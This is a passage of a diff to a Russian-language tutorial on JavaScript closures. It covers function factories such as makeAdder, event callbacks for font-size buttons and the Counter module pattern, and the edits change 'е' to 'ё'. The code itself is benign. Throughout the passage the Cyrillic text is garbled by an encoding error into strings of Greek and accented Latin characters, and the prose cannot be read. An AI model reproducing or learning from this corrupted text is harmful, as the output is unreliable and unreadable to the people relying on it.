ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π±Ρ‹Π»ΠΈΒ Π² области дСйствия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²ΠΎ врСмя создания замыкания. Π’ рассмотрСнном ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <code>myFunc</code>Β β€” это ссылка Π½Π° экзСмпляр Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>displayName</code>, созданной в Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ выполнСния <code>makeFunc</code>. ЭкзСмпляр Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>displayName</code>Β Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ сохраняСт ссылку Π½Π° своё лСксичСскоС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π΅ΡΡ‚ΡŒ пСрСмСнная <code>name</code>.Β  По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅, ΠΊΠΎΠ³Π΄Π° происходит Π²Ρ‹Π·ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>myFunc</code>, пСрСмСнная <code>name</code> остаётся доступной для использования ΠΈ сохранённый Π² Π½Π΅ΠΉ тСкст "Mozilla" пСрСдаётся Π² <code>alert</code>.</p>
<p>А Π²ΠΎΡ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ интСрСсный ΠΏΡ€ΠΈΠΌΠ΅Ρ€ β€” функция <code>makeAdder</code>:</p>
@@ -70,7 +70,7 @@ console.log(add10(2)); // 12
<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>makeAdder(x)</code>, которая ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ СдинствСнный Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>x</code>Β ΠΈΒ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π­Ρ‚Π° функция ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ СдинствСнный Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Β <code>y</code>Β ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сумму <code>x</code> ΠΈ <code>y</code>.</p>
-<p>По сущСству <code>makeAdder</code> β€” это Ρ„Π°Π±Ρ€ΠΈΠΊΠ°Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:Β ΠΎΠ½Π° создаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΊ своСму Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ Ρ„Π°Π±Ρ€ΠΈΡ‡Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для создания Π΄Π²ΡƒΡ… Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ β€” ΠΎΠ΄Π½Π° прибавляСт 5 ΠΊ своСму Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ, вторая прибавляСт 10.</p>
+<p>По сущСству <code>makeAdder</code> β€” это Ρ„Π°Π±Ρ€ΠΈΠΊΠ°Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:Β ΠΎΠ½Π° создаёт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€ΠΈΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΊ своСму Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π½Π°ΡˆΡƒ Ρ„Π°Π±Ρ€ΠΈΡ‡Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для создания Π΄Π²ΡƒΡ… Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ β€” ΠΎΠ΄Π½Π° прибавляСт 5 ΠΊ своСму Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρƒ, вторая прибавляСт 10.</p>
<p><code>add5</code> ΠΈΒ <code>add10</code>Β β€” это ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠΉ. Π­Ρ‚ΠΈΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ дСлят ΠΎΠ΄Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚Π΅Π»Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½ΠΎ ΠΏΡ€ΠΈ этом ΠΎΠ½ΠΈ ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ окруТСния. Π’ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>add5</code> <code>x</code> — это 5, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π² ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠΈ <code>add10</code> <code>x</code>Β β€” это 10.</p>
@@ -80,7 +80,7 @@ console.log(add10(2)); // 12
<p>Π‘Π»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, замыкания ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π·Π΄Π΅, Π³Π΄Π΅ Π²Ρ‹ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ использовали ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с ΠΎΠ΄Π½ΠΈΠΌ СдинствСнным ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ.</p>
-<p>Π’Π°ΠΊΠΈΠ΅ ситуации повсСмСстно Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ Π² web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. Π‘ΠΎΠ»ΡŒΡˆΠΎΠ΅ количСство front-end ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ пишСм Π½Π° JavaScript, основано на ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ событий. ΠœΡ‹ описываСм ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π° ΠΏΠΎΡ‚ΠΎΠΌ связываСм Π΅Π³ΠΎ с событиСм, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ создаСтся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ»ΠΈΠΊΒ ΠΌΡ‹ΡˆΠΊΠΎΠΉ ΠΈΠ»ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅Β ΠΊΠ»Π°Π²ΠΈΡˆΠΈ).Β ΠŸΡ€ΠΈ этом наш ΠΊΠΎΠ΄ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ привязываСтся ΠΊ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ/ΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° (callback): <em>callback функция - функция выполняСмая Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ события</em>.</p>
+<p>Π’Π°ΠΊΠΈΠ΅ ситуации повсСмСстно Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‚ΡΡ Π² web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅. Π‘ΠΎΠ»ΡŒΡˆΠΎΠ΅ количСство front-end ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ пишСм Π½Π° JavaScript, основано на ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ событий. ΠœΡ‹ описываСм ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, Π° ΠΏΠΎΡ‚ΠΎΠΌ связываСм Π΅Π³ΠΎ с событиСм, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ создаётся ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ»ΠΈΠΊΒ ΠΌΡ‹ΡˆΠΊΠΎΠΉ ΠΈΠ»ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅Β ΠΊΠ»Π°Π²ΠΈΡˆΠΈ).Β ΠŸΡ€ΠΈ этом наш ΠΊΠΎΠ΄ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ привязываСтся ΠΊ ΡΠΎΠ±Ρ‹Ρ‚ΠΈΡŽ Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ/ΠΎΡ‚Π²Π΅Ρ‚Π½ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° (callback): <em>callback функция - функция выполняСмая Π² ΠΎΡ‚Π²Π΅Ρ‚ Π½Π° Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ события</em>.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ рассмотрим практичСский ΠΏΡ€ΠΈΠΌΠ΅Ρ€: допустим, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π½Π° страницу нСсколько ΠΊΠ½ΠΎΠΏΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ тСкста. Как Π²Π°Ρ€ΠΈΠ°Π½Ρ‚, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ свойство font-size Π½Π° элСмСнтС body Π² пиксСлах, Π° Π·Π°Ρ‚Π΅ΠΌ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΡ‡ΠΈΡ… элСмСнтов страницы (Ρ‚Π°ΠΊΠΈΡ…, ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ) с использованиСм ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π΅Π΄ΠΈΠ½ΠΈΡ†Β em:</p>
@@ -131,7 +131,7 @@ document.getElementById('size-16').onclick = size16;
<p>Π―Π·Ρ‹ΠΊΠΈ Π²Ρ€ΠΎΠ΄Π΅Β Java ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ частныС (private) ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ . Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹Π·Π²Π°Π½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ класса, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹.</p>
-<p>JavaScript Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ встроСнной возмоТности ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅, Π½ΠΎ это ΠΌΠΎΠΆΠ½ΠΎ ΡΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ замыкания. ЧастныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‚Β Π΄ΠΎΡΡ‚ΡƒΠΏ ΠΊ ΠΊΠΎΠ΄Ρƒ, это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΡ‰Π½ΠΎΠ΅ срСдство глобальной ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ пространства имСн, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ Π½Π΅ Π·Π°ΡΠΎΡ€ΡΡ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ интСрфСйс вашСго ΠΊΠΎΠ΄Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ классов.</p>
+<p>JavaScript Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ встроСнной возмоТности ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ΅, Π½ΠΎ это ΠΌΠΎΠΆΠ½ΠΎ ΡΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ замыкания. ЧастныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‚Β Π΄ΠΎΡΡ‚ΡƒΠΏ ΠΊ ΠΊΠΎΠ΄Ρƒ, это Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΡ‰Π½ΠΎΠ΅ срСдство глобальной ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ пространства имён, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π΅ Π½Π΅ Π·Π°ΡΠΎΡ€ΡΡ‚ΡŒ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ интСрфСйс вашСго ΠΊΠΎΠ΄Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌΠΈ классов.</p>
<p>Код Π½ΠΈΠΆΠ΅ ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚, ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ замыкания для опрСдСлСния ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ доступ ΠΊ Π·Π°ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΎΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ (private) функциям ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ. Вакая ΠΌΠ°Π½Π΅Ρ€Π° программирования называСтся <a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">ΠΌΠΎΠ΄ΡƒΠ»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</a>:Β </p>
@@ -161,13 +161,13 @@ Counter.decrement();
alert(Counter.value()); /* Alerts 1 */
</pre>
-<p>Π’ΡƒΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ Ρ‡Π΅Π³ΠΎ помСнялось. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π»ΠΎ свой собствСнный контСкст исполнСния (ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм Π΅Π΄ΠΈΠ½ΠΎΠ΅ окруТСниС для Ρ‚Ρ€Π΅Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:Β <code>Counter.increment</code>, <code>Counter.decrement</code>, ΠΈΒ <code>Counter.value</code>.</p>
+<p>Π’ΡƒΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ Ρ‡Π΅Π³ΠΎ помСнялось. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π·Π°ΠΌΡ‹ΠΊΠ°Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π»ΠΎ свой собствСнный контСкст исполнСния (ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅). Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём Π΅Π΄ΠΈΠ½ΠΎΠ΅ окруТСниС для Ρ‚Ρ€Ρ‘Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:Β <code>Counter.increment</code>, <code>Counter.decrement</code>, ΠΈΒ <code>Counter.value</code>.</p>
-<p>Π•Π΄ΠΈΠ½ΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ создаСтся Π² Ρ‚Π΅Π»Π΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая исполняСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ описания. Π­Ρ‚ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ содСрТит Π΄Π²Π° ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… элСмСнта: ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>privateCounter</code> ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>changeBy(val)</code>. Ни ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих элСмСнтов Π½Π΅ доступСн Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ этой самой Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ВмСсто этого ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ трСмя ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ функциями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ ΠΊΠΎΠ΄Π° (anonymous wrapper), выполняСмым Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Π•Π΄ΠΈΠ½ΠΎΠ΅ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ создаётся Π² Ρ‚Π΅Π»Π΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, которая исполняСтся Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ описания. Π­Ρ‚ΠΎ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ содСрТит Π΄Π²Π° ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹Ρ… элСмСнта: ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>privateCounter</code> ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>changeBy(val)</code>. Ни ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих элСмСнтов Π½Π΅ доступСн Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ этой самой Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. ВмСсто этого ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ трСмя ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ функциями, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ Π±Π»ΠΎΠΊΠΎΠΌ ΠΊΠΎΠ΄Π° (anonymous wrapper), выполняСмым Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<p>Π­Ρ‚ΠΈ Ρ‚Ρ€ΠΈ ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ замыканиями, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΠΈ ΠΎΠ±Ρ‰ΠΈΠΉ контСкст исполнСния (ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅). Благодаря ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡƒ lexical scoping Π² Javascript, всС ΠΎΠ½ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ доступ ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>privateCounter</code>Β ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>changeBy</code>.</p>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, ΠΌΡ‹ описываСм Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΡƒΡŽΒ ΡΡ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊ, ΠΈ Ρ‚ΡƒΡ‚ ΠΆΠ΅ запускаСм Π΅Π΅,Β ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ исполнСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>Counter</code>. Но ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ сразу, Π°Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘Β Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для дальнСйшСго создания Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… счётчиков Π²ΠΎΡ‚ Ρ‚Π°ΠΊ:</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, ΠΌΡ‹ описываСм Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΡƒΡŽΒ ΡΡ‡Ρ‘Ρ‚Ρ‡ΠΈΠΊ, ΠΈ Ρ‚ΡƒΡ‚ ΠΆΠ΅ запускаСм Π΅Ρ‘,Β ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ исполнСния ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉΒ <code>Counter</code>. Но ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π΅ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ сразу, Π°Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Ρ‘Β Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для дальнСйшСго создания 